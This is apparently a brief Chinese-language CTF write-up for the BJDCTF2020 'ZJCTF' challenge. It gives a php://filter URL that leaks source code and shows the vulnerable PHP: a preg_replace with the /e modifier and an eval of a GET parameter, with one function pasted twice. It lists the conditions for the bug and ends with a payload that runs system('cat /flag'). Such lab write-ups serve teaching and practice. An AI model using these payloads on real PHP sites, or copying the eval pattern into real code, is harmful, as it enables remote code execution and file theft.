[BJDCTF2020]ZJCTF，不过如此

/?text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

‌漏洞触发条件：‌
PHP 版本 < 7.0（PHP 5.5 废弃 /e，PHP 7.0 移除）。
preg_replace 第一个参数包含 /e 修饰符。
第二个参数（替换串）中包含反向引用（
\1, $1 等），且该引用内容受用户控制 

/next.php?\S*=${getFlag()}&cmd=system('cat /flag');